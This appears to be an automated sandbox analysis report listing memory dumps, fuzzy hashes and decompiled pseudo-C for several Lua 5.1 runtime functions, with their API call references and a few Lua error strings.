Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: _isctype$tolower
String ID:
API String ID: 2917967906-0
Opcode ID: 33a480ecd61aafd99846828b3f0959777e20eb29a79ebab451788c4ec53a3af1
Instruction ID: aa93eaf4393d38b7b310d3620d94e1fefa990c4175c183746e02d43b3fc13ea3
Opcode Fuzzy Hash: 33a480ecd61aafd99846828b3f0959777e20eb29a79ebab451788c4ec53a3af1
Instruction Fuzzy Hash: 09618E39608351DFD316CF14DC91A5A33B2FB8A346F2845A8E9954F3A0CB36E885DB91

Uniqueness

Uniqueness Score: -1.00%

Function 005C11E0, Relevance: 16.6, APIs: 11, Instructions: 125COMMON

Download Yara Rule

APIs

luaL_optlstring.LUA5.1(?,00000001,00000000,?), ref: 005C1200
lua_pushnil.LUA5.1(?), ref: 005C1216
lua_pushnil.LUA5.1(?,?), ref: 005C121C
luaL_buffinit.LUA5.1(?,?), ref: 005C123A
luaL_optlstring.LUA5.1(?,00000002,00000000,?), ref: 005C126D
luaL_pushresult.LUA5.1(?,?,00000000,?), ref: 005C1290
lua_tolstring.LUA5.1(?,000000FF,00000000,?,?,00000000,?), ref: 005C1299
lua_pushnil.LUA5.1(?), ref: 005C12A8
lua_pushnil.LUA5.1(?), ref: 005C12B1

Memory Dump Source

Source File: 00000002.00000002.469920871.00000000005C1000.00000020.00020000.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000002.00000002.469875657.00000000005C0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469956724.00000000005C3000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469975310.00000000005C4000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470008958.00000000005C5000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnil.$L_optlstring.$L_buffinit.L_pushresult.lua_tolstring.
String ID:
API String ID: 3302033068-0
Opcode ID: 53722724f195638b8881604f946c04b784e0e6f76c75dc616d07e3c164a2567a
Instruction ID: 82eb3da33c2594a5154147305989f2abc82ede7ffa5910b074dc2883efa23c46
Opcode Fuzzy Hash: 53722724f195638b8881604f946c04b784e0e6f76c75dc616d07e3c164a2567a
Instruction Fuzzy Hash: 44315B778002062ED320FA95AC46FFB7B9CEBD1710F440A2CFE8596103F529A90DC6B6

Uniqueness

Uniqueness Score: -1.00%

Function 005C1A50, Relevance: 16.6, APIs: 11, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E005C1A50(intOrPtr _a4) {
				char _v524;
				char _v528;
				char _v532;
				intOrPtr* _t17;
				intOrPtr* _t18;
				intOrPtr _t22;
				intOrPtr _t25;
				void* _t27;
				void* _t28;
				char _t39;
				intOrPtr* _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				void* _t44;
				void* _t45;
				void* _t46;
				void* _t48;

				_t42 = _a4;
				_t17 =  &_v532;
				_t39 = 0;
				_push(_t17);
				_push(0);
				_push(1);
				_push(_t42);
				_v532 = 0;
				L005C212C();
				_t40 = _t17;
				_t44 =  &_v532 + 0x10;
				_t27 = _t40 + _v532;
				if(_t40 != 0) {
					_push( &_v524);
					_push(_t42);
					L005C211A();
					_t45 = _t44 + 8;
					while(_t40 < _t27) {
						_t40 = _t40 + 1;
						_t25 = E005C1B80( *_t40,  &_v528, _t39,  &_v524);
						_t45 = _t45 + 0x10;
						_t39 = _t25;
					}
					_t18 =  &_v532;
					_push(_t18);
					_push(0);
					_push(2);
					_push(_t42);
					L005C212C();
					_t41 = _t18;
					_t46 = _t45 + 0x10;
					if(_t41 != 0) {
						_t28 = _t41 + _v532;
						while(_t41 < _t28) {
							_t41 = _t41 + 1;
							_t22 = E005C1B80( *_t41,  &_v528, _t39,  &_v524);
							_t46 = _t46 + 0x10;
							_t39 = _t22;
						}
						_push( &_v524);
						L005C2108();
						_push(_t39);
						_push( &_v528);
						_push(_t42);
						L005C2138();
						return 2;
					} else {
						_push( &_v524);
						L005C2108();
						_push(_t41);
						_push(0xffffffff);
						_push(_t42);
						L005C213E();
						_t48 = _t46 + 0x10;
						if( *_t18 == 0) {
							_push(_t42);
							L005C2120();
							_t48 = _t48 + 4;
						}
						_push(_t42);
						L005C2120();
						return 2;
					}
				} else {
					_push(_t42);
					L005C2120();
					_push(_t42);
					L005C2120();
					return 2;
				}
			}

0x005c1a58
0x005c1a61
0x005c1a65
0x005c1a67
0x005c1a68
0x005c1a69
0x005c1a6b
0x005c1a6c
0x005c1a70
0x005c1a79
0x005c1a7b
0x005c1a80
0x005c1a83
0x005c1aa8
0x005c1aa9
0x005c1aaa
0x005c1aaf
0x005c1ab4
0x005c1ac4
0x005c1ac5
0x005c1aca
0x005c1acf
0x005c1acf
0x005c1ad3
0x005c1ad7
0x005c1ad8
0x005c1ada
0x005c1adc
0x005c1add
0x005c1ae2
0x005c1ae4
0x005c1ae9
0x005c1b2d
0x005c1b32
0x005c1b42
0x005c1b43
0x005c1b48
0x005c1b4d
0x005c1b4d
0x005c1b55
0x005c1b56
0x005c1b5f
0x005c1b60
0x005c1b61
0x005c1b62
0x005c1b79
0x005c1aeb
0x005c1aef
0x005c1af0
0x005c1af5
0x005c1af6
0x005c1af8
0x005c1af9
0x005c1b00
0x005c1b05
0x005c1b07
0x005c1b08
0x005c1b0d
0x005c1b0d
0x005c1b10
0x005c1b11
0x005c1b28
0x005c1b28
0x005c1a85
0x005c1a85
0x005c1a86
0x005c1a8b
0x005c1a8c
0x005c1aa3
0x005c1aa3

APIs

luaL_optlstring.LUA5.1(?,00000001,00000000,?), ref: 005C1A70
lua_pushnil.LUA5.1(?), ref: 005C1A86
lua_pushnil.LUA5.1(?,?), ref: 005C1A8C
luaL_buffinit.LUA5.1(?,?), ref: 005C1AAA
luaL_optlstring.LUA5.1(?,00000002,00000000,?), ref: 005C1ADD
luaL_pushresult.LUA5.1(?), ref: 005C1AF0
lua_tolstring.LUA5.1(?,000000FF,00000000,?), ref: 005C1AF9
lua_pushnil.LUA5.1(?), ref: 005C1B08
lua_pushnil.LUA5.1(?), ref: 005C1B11

Memory Dump Source

Source File: 00000002.00000002.469920871.00000000005C1000.00000020.00020000.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000002.00000002.469875657.00000000005C0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469956724.00000000005C3000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469975310.00000000005C4000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470008958.00000000005C5000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnil.$L_optlstring.$L_buffinit.L_pushresult.lua_tolstring.
String ID:
API String ID: 3302033068-0
Opcode ID: f1244854a76353ae292fa9067520e75bb46b359f5d910e0d7dd6538db9434129
Instruction ID: 1e62b150083f931ad89f4336631740816330bfff64d2010a1ce57f44249a186d
Opcode Fuzzy Hash: f1244854a76353ae292fa9067520e75bb46b359f5d910e0d7dd6538db9434129
Instruction Fuzzy Hash: 8431C9729002062FD720FA949C46FEB7B9CFBD1354F440A2DFE9946143F919A909C6F6

Uniqueness

Uniqueness Score: -1.00%

Function 005C1470, Relevance: 16.6, APIs: 11, Instructions: 119COMMON

Download Yara Rule

APIs

luaL_optlstring.LUA5.1(?,00000001,00000000,?), ref: 005C1490
lua_pushnil.LUA5.1(?), ref: 005C14A6
lua_pushnil.LUA5.1(?,?), ref: 005C14AC
luaL_buffinit.LUA5.1(?,?), ref: 005C14CA
luaL_optlstring.LUA5.1(?,00000002,00000000,?), ref: 005C14FD
luaL_pushresult.LUA5.1(?), ref: 005C1510
lua_tolstring.LUA5.1(?,000000FF,00000000,?), ref: 005C1519
lua_pushnil.LUA5.1(?), ref: 005C1528
lua_pushnil.LUA5.1(?), ref: 005C1531

Memory Dump Source

Source File: 00000002.00000002.469920871.00000000005C1000.00000020.00020000.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000002.00000002.469875657.00000000005C0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469956724.00000000005C3000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469975310.00000000005C4000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470008958.00000000005C5000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnil.$L_optlstring.$L_buffinit.L_pushresult.lua_tolstring.
String ID:
API String ID: 3302033068-0
Opcode ID: f1244854a76353ae292fa9067520e75bb46b359f5d910e0d7dd6538db9434129
Instruction ID: d85a05f62f3670666bbd7c5ce2381d674584bd279572499b66e555825ba47909
Opcode Fuzzy Hash: f1244854a76353ae292fa9067520e75bb46b359f5d910e0d7dd6538db9434129
Instruction Fuzzy Hash: B331E9729002062FD620BA949C46FFB7F9CFBD1350F44092DFE9546143F529A509C6F6

Uniqueness

Uniqueness Score: -1.00%

Function 005E2AA0, Relevance: 16.6, APIs: 11, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E005E2AA0(intOrPtr __eax, intOrPtr _a4) {
				intOrPtr _v4;
				signed int _v8;
				signed int _t15;
				intOrPtr _t18;
				signed int _t19;
				signed int* _t20;
				intOrPtr _t21;
				signed int _t22;
				signed int* _t24;
				signed int* _t26;

				_t21 = _a4;
				_push(0);
				_push(1);
				_push(_t21);
				L005E3F32();
				_push(_t21);
				_v4 = __eax;
				L005E3F38();
				_t15 = __eax + __eax + __eax + __eax + __eax + __eax + __eax + __eax;
				_push(_t15);
				_push(_t21);
				L005E3F2C();
				_t19 = _t15;
				_push(_t21);
				_v8 = _t19;
				L005E3F38();
				_t22 = _t15;
				_t18 = 2;
				_t24 =  &(( &_v8)[7]);
				if(_t22 > 2) {
					_t20 = _t19 + 4;
					do {
						_push(_t18);
						_push(_t21);
						L005E3F4A();
						_t24 =  &(_t24[2]);
						if(_t15 != 0) {
							_push(_t18);
							_push(_t21);
							L005E3F50();
							_t26 =  &(_t24[2]);
							_push(_t18);
							_push(_t21);
							if(_t15 == 0) {
								 *((intOrPtr*)(_t20 - 4)) = 2;
								L005E3F62();
							} else {
								 *((intOrPtr*)(_t20 - 4)) = 0xc;
								L005E3F0E();
							}
							 *_t20 = _t15;
							_t24 =  &(_t26[2]);
						} else {
							 *((intOrPtr*)(_t20 - 4)) = 0xc;
							 *_t20 = _t15;
						}
						_t18 = _t18 + 1;
						_t20 =  &(_t20[2]);
					} while (_t18 < _t22);
					_t19 = _v8;
				}
				_push(_t21);
				L005E3F38();
				 *((intOrPtr*)(_t19 + _t15 * 8 - 0x10)) = 6;
				_push(_v4);
				_push(0xffffd8f0);
				_push(_t21);
				L005E3F02();
				_push(0xfffffffe);
				_push(_t21);
				L005E3F1A();
				return 1;
			}

0x005e2aa6
0x005e2aab
0x005e2aad
0x005e2aaf
0x005e2ab0
0x005e2ab5
0x005e2ab6
0x005e2aba
0x005e2ac3
0x005e2ac5
0x005e2ac6
0x005e2ac7
0x005e2acc
0x005e2ace
0x005e2acf
0x005e2ad3
0x005e2ad8
0x005e2ada
0x005e2adf
0x005e2ae4
0x005e2ae6
0x005e2af0
0x005e2af0
0x005e2af1
0x005e2af2
0x005e2af7
0x005e2afc
0x005e2b09
0x005e2b0a
0x005e2b0b
0x005e2b10
0x005e2b15
0x005e2b16
0x005e2b17
0x005e2b27
0x005e2b2e
0x005e2b19
0x005e2b19
0x005e2b20
0x005e2b20
0x005e2b33
0x005e2b35
0x005e2afe
0x005e2afe
0x005e2b05
0x005e2b05
0x005e2b38
0x005e2b3b
0x005e2b3e
0x005e2b42
0x005e2b42
0x005e2b46
0x005e2b47
0x005e2b4c
0x005e2b58
0x005e2b59
0x005e2b5e
0x005e2b5f
0x005e2b64
0x005e2b66
0x005e2b67
0x005e2b7b

APIs

luaL_checklstring.LUA5.1(?,00000001,00000000), ref: 005E2AB0
lua_gettop.LUA5.1(?,?,00000001,00000000), ref: 005E2ABA
lua_newuserdata.LUA5.1(?,00000000,?,?,00000001,00000000), ref: 005E2AC7
lua_gettop.LUA5.1(?,?,00000000,?,?,00000001,00000000), ref: 005E2AD3
lua_type.LUA5.1(?,00000002), ref: 005E2AF2
lua_isuserdata.LUA5.1(?,00000002), ref: 005E2B0B
lua_touserdata.LUA5.1(?,00000002), ref: 005E2B20
lua_gettop.LUA5.1(?), ref: 005E2B47
lua_getfield.LUA5.1(?,FFFFD8F0,?,?), ref: 005E2B5F
lua_setmetatable.LUA5.1(?,000000FE,?,FFFFD8F0,?,?), ref: 005E2B67

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_gettop.$L_checklstring.lua_getfield.lua_isuserdata.lua_newuserdata.lua_setmetatable.lua_touserdata.lua_type.
String ID:
API String ID: 3181126804-0
Opcode ID: 9a8130ed0c98f3cc678bccdbcc68b922513c5abec3c844074aae96e33e2a7076
Instruction ID: 11e379d1c5db7a35b90c0d7718aa0ed06d957545c5086ffec42b174b6e793c8c
Opcode Fuzzy Hash: 9a8130ed0c98f3cc678bccdbcc68b922513c5abec3c844074aae96e33e2a7076
Instruction Fuzzy Hash: BC11D5B2D052936BD7056E269C4ABAE7AACBF91300F440124F89083241F7AD5A1547F6

Uniqueness

Uniqueness Score: -1.00%

Function 1000FC20, Relevance: 16.6, APIs: 11, Instructions: 76COMMON

Download Yara Rule

APIs

lua_gettop.LUA5.1(?), ref: 1000FC37
lua_type.LUA5.1(?,000000FF), ref: 1000FC46
lua_settop.LUA5.1(?,000000FE), ref: 1000FC55
lua_rawgeti.LUA5.1(?,?,00000000), ref: 1000FC68
lua_tointeger.LUA5.1(?,000000FF,?,?,00000000), ref: 1000FC70
lua_settop.LUA5.1(?,000000FE,?,000000FF,?,?,00000000), ref: 1000FC7A
lua_rawgeti.LUA5.1(?,?,00000000), ref: 1000FC89
lua_rawseti.LUA5.1(?,?,00000000,?,?,00000000), ref: 1000FC92
lua_rawseti.LUA5.1(?,?,00000000), ref: 1000FC9D
lua_objlen.LUA5.1(?,?), ref: 1000FCAD
lua_rawseti.LUA5.1(?,?,00000001), ref: 1000FCBB

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_rawseti.$lua_rawgeti.lua_settop.$lua_gettop.lua_objlen.lua_tointeger.lua_type.
String ID:
API String ID: 2551836479-0
Opcode ID: c840ce9a7cea58034214fb8c2510e53ddaba4a4676512f6b9fda0f29d5c1db7b
Instruction ID: 0371ef6f8b57820c2d28cf47ea0de8014af53aab162097858eaf5ff5a75fe1cd
Opcode Fuzzy Hash: c840ce9a7cea58034214fb8c2510e53ddaba4a4676512f6b9fda0f29d5c1db7b
Instruction Fuzzy Hash: 791108AEA0A96836F00191696D83EDF225DCFC21F9F240324F924912CAFB157E1501FA

Uniqueness

Uniqueness Score: -1.00%

Function 00593730, Relevance: 16.6, APIs: 11, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E00593730(intOrPtr __eax, long long __fp0, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				long long _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _t13;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t25;
				signed int _t27;
				void* _t30;
				void* _t31;
				long long _t35;

				_t35 = __fp0;
				_t25 = _a4;
				_push(0);
				_push(0);
				_push(_t25);
				_v20 = 1;
				L00594ACA();
				_push(_t25);
				L00594B60();
				_t30 = (_t27 & 0xfffffff8) - 0x14 + 0x10;
				_v16 = __eax;
				while(1) {
					asm("fild dword [esp+0x10]");
					_v12 = _t35;
					_t22 = _v8;
					_t17 = _v12;
					_push(_t22);
					_push(_t17);
					_push(_t25);
					L00594B5A();
					_t13 = _a8;
					_push(_t13);
					_push(_t25);
					L00594B00();
					_push(0xffffffff);
					_push(_t25);
					L00594AFA();
					_t31 = _t30 + 0x1c;
					if(_t13 == 0) {
						break;
					}
					_push(_t22);
					_push(_t17);
					_push(_t25);
					L00594B5A();
					_push(0xfffffffe);
					_push(_t25);
					L00594B90();
					_push(_v16);
					_push(_t25);
					L00594B42();
					_push(_t22);
					_push(_t17);
					_push(_t25);
					L00594B5A();
					_push(_v16);
					_push(_t25);
					L00594B42();
					_t30 = _t31 + 0x30;
					_v20 = _v20 + 1;
				}
				_push(0xfffffffe);
				_push(_t25);
				L00594AB8();
				return _t13;
			}

0x00593730
0x0059373b
0x0059373f
0x00593741
0x00593743
0x00593744
0x0059374c
0x00593751
0x00593752
0x00593757
0x0059375a
0x0059375e
0x0059375e
0x00593762
0x00593766
0x0059376a
0x0059376e
0x0059376f
0x00593770
0x00593771
0x00593776
0x00593779
0x0059377a
0x0059377b
0x00593780
0x00593782
0x00593783
0x00593788
0x0059378d
0x00000000
0x00000000
0x0059378f
0x00593790
0x00593791
0x00593792
0x00593797
0x00593799
0x0059379a
0x005937a3
0x005937a4
0x005937a5
0x005937aa
0x005937ab
0x005937ac
0x005937ad
0x005937b6
0x005937b7
0x005937b8
0x005937c1
0x005937c5
0x005937c5
0x005937cb
0x005937cd
0x005937ce
0x005937dc

APIs

lua_createtable.LUA5.1 ref: 0059374C
lua_gettop.LUA5.1(?), ref: 00593752
lua_pushnumber.LUA5.1(?,?,?,00000000,00000000,?,00000001,?,00000001,00000000,?,?), ref: 00593771
lua_gettable.LUA5.1(?,00000000,?,?,?,00000000,00000000,?,00000001,?,00000001,00000000,?,?), ref: 0059377B
lua_type.LUA5.1(?,000000FF,?,00000000,?,?,?,00000000,00000000,?,00000001,?,00000001,00000000,?,?), ref: 00593783
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00000001,?,00000001), ref: 00593792
lua_pushvalue.LUA5.1(?,000000FE,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00000001), ref: 0059379A
lua_settable.LUA5.1(?,?,?,000000FE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 005937A5
lua_pushnumber.LUA5.1(?,?,?,?,?,?,000000FE,?,?,?), ref: 005937AD
lua_settable.LUA5.1(?,?,?,?,?,?,?,?,000000FE,?,?,?), ref: 005937B8
lua_settop.LUA5.1(?,000000FE,?,?,?,?,?,?,?,00000000,00000000,?,00000001,?,00000001,00000000), ref: 005937CE

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnumber.$lua_settable.$lua_createtable.lua_gettable.lua_gettop.lua_pushvalue.lua_settop.lua_type.
String ID:
API String ID: 693531042-0
Opcode ID: b4ed4b075c62f96dabfbf9d20c5cd9adbe44ce288af2dee79d678210e908db47
Instruction ID: 7ef150f17959667407299758620cd968e62eb5e274099d469b8f2c76473c0463
Opcode Fuzzy Hash: b4ed4b075c62f96dabfbf9d20c5cd9adbe44ce288af2dee79d678210e908db47
Instruction Fuzzy Hash: A11142B15096167A9A00BE159C4AF9FBBADFFC6364F104708F96452182D720DE138AFA

Uniqueness

Uniqueness Score: -1.00%

Function 10013CF0, Relevance: 16.6, APIs: 11, Instructions: 52COMMON

Download Yara Rule

APIs

luaL_checktype.LUA5.1(?,00000001,00000005), ref: 10013CFA

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

luaL_checktype.LUA5.1(?,00000002,00000006,?,00000001,00000005), ref: 10013D04
lua_pushnil.LUA5.1(?,?,00000002,00000006,?,00000001,00000005), ref: 10013D0A
lua_next.LUA5.1(?,00000001,?,?,00000002,00000006,?,00000001,00000005), ref: 10013D12
lua_pushvalue.LUA5.1(?,00000002), ref: 10013D21
lua_pushvalue.LUA5.1(?,000000FD,?,00000002), ref: 10013D29
lua_pushvalue.LUA5.1(?,000000FD,?,000000FD,?,00000002), ref: 10013D31
lua_call.LUA5.1(?,00000002,00000001,?,000000FD,?,000000FD,?,00000002), ref: 10013D3B
lua_type.LUA5.1(?,000000FF,?,00000002,00000001,?,000000FD,?,000000FD,?,00000002), ref: 10013D43
lua_settop.LUA5.1(?,000000FD), ref: 10013D52
lua_next.LUA5.1(?,00000001,?,000000FD), ref: 10013D5A

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushvalue.$L_checktype.lua_next.lua_type.$lua_call.lua_pushnil.lua_settop.
String ID:
API String ID: 284392769-0
Opcode ID: e76de9ce1940270963f0bb0775e6f332ce3f62c77b066074fd392365fc798dfa
Instruction ID: 3c649f485242135b20ba9315535be0c6efb0973cc92b1fcd000c46680cd1f7b3
Opcode Fuzzy Hash: e76de9ce1940270963f0bb0775e6f332ce3f62c77b066074fd392365fc798dfa
Instruction Fuzzy Hash: 15F0FF7965962231F525A2293C43FCF11488F027E4F114210F524794CBEE99B7C210EE

Uniqueness

Uniqueness Score: -1.00%

Function 10008AC0, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 178stringCOMMON

Download Yara Rule

APIs

Part of subcall function 10008D50: luaS_newlstr.LUA5.1(1001AB10,?,?,00000001,?,?,10008ADE,?,1001AB10,?,?,?), ref: 10008D6D
Part of subcall function 10008D50: luaD_growstack.LUA5.1(1001AB10,00000001,?,?,?), ref: 10008D92

strchr.MSVCRT ref: 10008AE5
luaS_newlstr.LUA5.1(?,?,00000000,?), ref: 10008B17
luaD_growstack.LUA5.1(?,00000001,?,?,?,?,?,?,?,?,?,?), ref: 10008B38
strchr.MSVCRT ref: 10008C8D

Strings

%, xrefs: 10008C64
(null), xrefs: 10008B85, 10008B8A

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: D_growstack.S_newlstr.strchr
String ID: %$(null)
API String ID: 3204026142-3027058318
Opcode ID: 422c89eaf275a0c0abdb8d1d8f1508fe368213e69961961af83a6096540192ac
Instruction ID: b51a6234e5b3a5a0e7dd1905a3110803ec671e07aa4a403601959c8eede9fb79
Opcode Fuzzy Hash: 422c89eaf275a0c0abdb8d1d8f1508fe368213e69961961af83a6096540192ac
Instruction Fuzzy Hash: A7518BB1509B01AFE310CF19CC80A5BBBF5FF85244F44881DF59A47356D771EA188B66

Uniqueness

Uniqueness Score: -1.00%

Function 10015D80, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

luaL_checklstring.LUA5.1(?,?,?,?,?,?,10015C59,?,?,?), ref: 10015D92

Part of subcall function 1000F4A0: lua_tolstring.LUA5.1(?,?,?,?,?,?,1000F292,?,?,00000000), ref: 1000F4B2

luaL_prepbuffer.LUA5.1(?,?,?,?), ref: 10015DAD
luaL_prepbuffer.LUA5.1(?,?,?,?,?,?,?), ref: 10015DEE
luaL_prepbuffer.LUA5.1(?,?,?,?,?,?,?), ref: 10015E07
luaL_addlstring.LUA5.1(?,1001A7FC,00000002,?,?,?,?,?,?,?,?), ref: 10015E1F

Part of subcall function 1000FAC0: luaL_prepbuffer.LUA5.1(?,?,00000000,?,?,1000FB2D,?,?,?,?,1000F8CA,?,?), ref: 1000FAE5

luaL_prepbuffer.LUA5.1(?,?,?,?), ref: 10015E69

Strings

\000, xrefs: 10015E2B

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_prepbuffer.$L_addlstring.L_checklstring.lua_tolstring.
String ID: \000
API String ID: 3458495320-2104200393
Opcode ID: 3d0b7893424607cb0cf0170e3f3892618733047cb5ce06df026c3627ec06eedb
Instruction ID: 13f3fef87bbffa1f16c8957a5ece2b07bfd2e1eb9ba3208073122bd9f54bd34d
Opcode Fuzzy Hash: 3d0b7893424607cb0cf0170e3f3892618733047cb5ce06df026c3627ec06eedb
Instruction Fuzzy Hash: D931D6B4604641DFD726CF18D88191677E1EF5A341B28046CF4C4CF312EA32EA81C792

Uniqueness

Uniqueness Score: -1.00%

Function 1000F090, Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 88COMMON

Download Yara Rule

APIs

lua_getstack.LUA5.1(?,00000000), ref: 1000F0A0
luaL_error.LUA5.1(?,bad argument #%d (%s),?,?), ref: 1000F0BC

Part of subcall function 1000F230: luaL_where.LUA5.1(?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F238
Part of subcall function 1000F230: lua_pushvfstring.LUA5.1(?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F248
Part of subcall function 1000F230: lua_concat.LUA5.1(?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F250
Part of subcall function 1000F230: lua_error.LUA5.1(?,?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F256

lua_getinfo.LUA5.1(?,100191FC,?), ref: 1000F0D6
luaL_error.LUA5.1(?,calling '%s' on bad self (%s),?,?), ref: 1000F135

Strings

calling '%s' on bad self (%s), xrefs: 1000F12F
bad argument #%d to '%s' (%s), xrefs: 1000F15E
method, xrefs: 1000F0E2
bad argument #%d (%s), xrefs: 1000F0B6

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_error.$L_where.lua_concat.lua_error.lua_getinfo.lua_getstack.lua_pushvfstring.
String ID: bad argument #%d (%s)$bad argument #%d to '%s' (%s)$calling '%s' on bad self (%s)$method
API String ID: 1244025476-4026621142
Opcode ID: 66aa83ca107ef80076e869b20a4959eb95b75c7a429f7f8e45b6d56deaac4c2e
Instruction ID: b5dd571823f414a7805d71d0f2912eee8439f5c73e54a18a9bc8e8f9818f6705
Opcode Fuzzy Hash: 66aa83ca107ef80076e869b20a4959eb95b75c7a429f7f8e45b6d56deaac4c2e
Instruction Fuzzy Hash: 6D2178B9904281AFE300CA28CC82CFB77E8EFC56C4F45491CF9C487305E322D845A752

Uniqueness

Uniqueness Score: -1.00%

Function 100128D0, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58stringCOMMON

Download Yara Rule

APIs

lua_touserdata.LUA5.1(?,FFFFD8ED), ref: 100128DC
luaL_error.LUA5.1(?,file is already closed), ref: 100128F0

Part of subcall function 1000F230: luaL_where.LUA5.1(?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F238
Part of subcall function 1000F230: lua_pushvfstring.LUA5.1(?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F248
Part of subcall function 1000F230: lua_concat.LUA5.1(?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F250
